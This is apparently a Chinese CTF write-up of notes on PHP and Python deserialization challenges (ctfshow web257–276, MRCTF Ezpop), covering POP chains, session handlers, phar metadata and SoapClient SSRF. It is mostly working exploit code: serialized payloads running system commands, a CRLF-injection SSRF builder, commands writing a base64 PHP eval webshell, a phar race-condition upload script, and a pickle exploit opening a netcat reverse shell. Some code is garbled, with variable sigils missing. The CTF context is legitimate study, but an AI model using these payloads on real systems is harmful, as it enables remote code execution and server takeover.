Web之反序列化

web257

O:11:"ctfShowUser":4:{s:21:"%00ctfShowUser%00username";s:6:"xxxxxx";s:21:"%00ctfShowUser%00password";s:6:"xxxxxx";s:18:"%00ctfShowUserisVip";b:0;s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"%00backDoor%00code";s:23:"system('cat flag.php');";}}

我也不知道为什么可以把$this->class=new info();直接改成$this->class=new backDoor();然后序列化。。。

这大概就是__construct的特性?

绕过(/[oc]:\d+:/i)正则(web258)

用+号绕过

SoapClient(web259)

很有趣的题!

先看flag.php和index.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
<?php

highlight_file(__FILE__);


vip = unserialize(_GET['vip']);
//vip can get flag one key
$vip->getFlag();

然后我们会想到,index里面都没有类该怎么反序列化呢?解法是利用PHP原生类SoapClient

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

我们可以在本地试一下

![image-20220715143436394](/Users/acheing/Library/Application Support/typora-user-images/image-20220715143436394.png)

![image-20220715143410267](/Users/acheing/Library/Application Support/typora-user-images/image-20220715143410267.png)

那我们该怎么实现POST任意参数呢?

方法是利用CRLF Injection

<?php
ua="FlowerYang\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";a = new SoapClient(
    null,
    array('location'=>'http://127.0.0.1/flag.php',
        'uri'=>'http://127.0.0.1',
        'user_agent'=>ua));

echo serialize(a);
echo urlencode(serialize($a));

web260

<?php
    class A{
        public s = "ctfshow_i_love_36D";
    }b = new A();
    echo serialize($b);
?>

这样就可以了

__unserialize(web261)

就当同时存在 __wakeup__unserialize 魔术方法时,只会调用 __unserialize 魔术方法

还要注意到这里的$this->code==0x36d其实是个弱比较

有个值得注意的地方,就是$this->password="<?php eval($_POST[1]);";反序列化时,$_POST[1]会变成空的,要把$转义

是不是字符串中的$都会转成变量呢?

PHP反序列化字符逃逸(web262,web264)

我觉得这种操作的核心就是反序列化后的字符串的末尾加什么都不会影响反序列化过程

然后我们想办法构造一个输入使得反序列化字符串在我们想要的位置闭合,这样我们就能修改题目中不让我们修改的东西了OvO

![image-20220715163213781](/Users/acheing/Library/Application Support/typora-user-images/image-20220715163213781.png)

![image-20220715163815605](/Users/acheing/Library/Application Support/typora-user-images/image-20220715163815605.png)

web264和web262差不多,只是把数据在session里了

按地址传参(web265)

class ctfshowAdmin{
    public token;
    publicpassword;

    public function __construct(t,p){
        this->token=t;
        this->password = &this->token;
    }
    public function login(){
        return this->token===this->password;
    }
}

a = new ctfshowAdmin();
echo serialize(a);

绕过类名过滤(web266)

一种方法是把类名变成大写,另一种方法是删掉最后的花括号。

原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。

PHP_Session反序列化渗透(web263)

我们要先知道session是怎么储存的

<?php
session_start();
class test{
    public name;
    function __wakeup(){
        echothis->name;
    }
}
a = new test();a->name = "FlowerYang";

b = "AA";c = 233;

_SESSION['a'] =a;
_SESSION['b'] =b;
_SESSION['c'] =c;

然后session存的是:a|O:4:"test":1:{s:4:"name";s:10:"FlowerYang";}b|s:2:"AA";c|i:233;

php.ini中一些session配置

session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

php_serialize   | 经过serialize()函数序列化数组
php           | 键名+竖线+经过serialize()函数处理的值
php_binary    | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值

使用不同的引擎来处理session文件时可以造成渗透

详见hgg的博客

注意file_put_content的保存路径是在/var/www/html目录下!

代码审计(web275)

其实直接?fn=index.php;echo PD9waHAgZXZhbCgkX1BPU1RbYV0pOw%3D%3D|base64 -d > %2Fvar%2Fwww%2Fhtml%2Findex.php来写马就可以了!

注意系统默认执行的目录是根目录

POP链([MRCTF2020]Ezpop)

POP链是什么我也说不清QwQ,大概觉得就是利用一个魔术方法去触发另一个类

最后达到自己想要的结果

注意这题中触发__toString的是preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)

<?php
class Modifier {
    protected  var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    publicsource;
    public str;
    public function __construct(file='index.php'){
        this->source =this;
        this->str = new Test();
    }
}

class Test{
    publicp;
    public function __construct(){
        this->p = new Modifier();
    }
}a = new Show();

echo serialize(a)."\n";
echo urlencode(serialize(a));

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}

义神的写法

<?php
class Modifier {
    protected  var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public function append(value){
        include(value);
    }
    public function __invoke(){this->append(this->var);
    }
}
class Show{
    publicsource;
    public str;
    public function __toString(){
        returnthis->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", this->source)) {
            echo "hacker";this->source = "index.php";
        }
    }
}
class Test{
    public p;
    public function __get(key){
        function =this->p;
        return function();
    }
}pop = new Show;
pop->source = new Show;pop->source->str = new Test;
pop->source->str->p = new Modifier;
echo urlencode(serialize(poc));


Y4的写法

<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    publicsource;
    public str;
    public function __construct(file){
        this->source =file;
        this->str = new Test();
    }
}

class Test{
    publicp;
    public function __construct(){
        this->p = new Modifier();
    }
}a = new Show('aaa');
a = new Show(a);
echo urlencode(serialize($a));

Phar反序列化(web276)

浅学了一下Phar

其实Phar里就算不压缩文件也是可以反序列化的

有那么一大堆函数会将meta-data进行反序列化

受影响的函数列表
filename filectime (获取文件的inode更改时间) file_exists file_get_contents
file_put_contents file filegroup (获取文件的组名) fopen
fileinode (获取文件inode) filemtime (获取文件的修改时间) fileowner fileperms (获取文件权限)
is_dir is_executable is_file is_link (判断文件名是否为符号链接)
is_readable is_writable is_writeable parse_ini_file (解析配置文件)
copy unlink stat (获取文件相关信息) readfile (输入文件内容)

![image-20220719111601116](/Users/acheing/Library/Application Support/typora-user-images/image-20220719111601116.png)

这题具体的操作是往.phar中写数据,然后利用copy函数触发反序列化

贴一个生成phar和条件竞争的脚本

<?php
class filter
{
    public filename = ';echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7|base64 -d>/var/www/html/shell.php';
    publicevilfile = true;
    public admin = true;
}phar = new Phar("evil.phar");
phar->startBuffering();phar->setStub("<?php __HALT_COMPILER(); ?>");
o = new filter();phar->setMetadata(o);phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
import base64
import requests
import threading

flag = False
url = 'http://69e43bba-a30a-48b0-8a98-15f23a39be77.challenge.ctf.show:8080/'
data = open('./evil.phar', 'rb').read()

pre_resp = requests.get(url)
if pre_resp.status_code != 200:
    print(url + '\n链接好像挂了....')
    exit(1)

def upload():
    requests.post(url+"?fn=evil.phar", data=data)


def read():
    global flag
    while flag==False:
        r = requests.post(url+"?fn=phar://evil.phar/", data="")
        res = requests.get(url+"shell.php")
        if res.status_code == 200:
            flag = True


event = threading.Event()  # 开启多线程的对象
with requests.session() as session:
    for i in range(5):  # 开5个线程
        threading.Thread(target=upload).start()
    for i in range(5):
        threading.Thread(target=read).start()

    event.set()  # 唤醒线程

Yii 框架(web267~web270)

浅谈Yii2框架下的反序列化漏洞

laravel框架(web271~web273)

浅谈Laravel5.7.*与Laravel5.8.*框架下的反序列化漏洞

ThinkPHP(web274)

ThinkPHP5.1反序列化漏洞

Python反序列化(web275~web276)

还要弹shell,不是很会。。

先抄个exp...

import base64
import pickle
import requests

class Exp():
    def __reduce__(self):
        return(__import__("os").popen, ('nc IP PORT -e /bin/sh',))

exp = Exp()
s = pickle.dumps(exp)
s_base64 = base64.b64encode(s)

url = 'http://c0c2a9c0-be07-4d48-95b2-495e1a4beeea.challenge.ctf.show:8080/backdoor'
params={
    'data': s_base64
}

requests.get(url, params)

参考资料:

https://misakikata.github.io/2020/04/python-反序列化/


告别纷扰,去寻找生活的宝藏。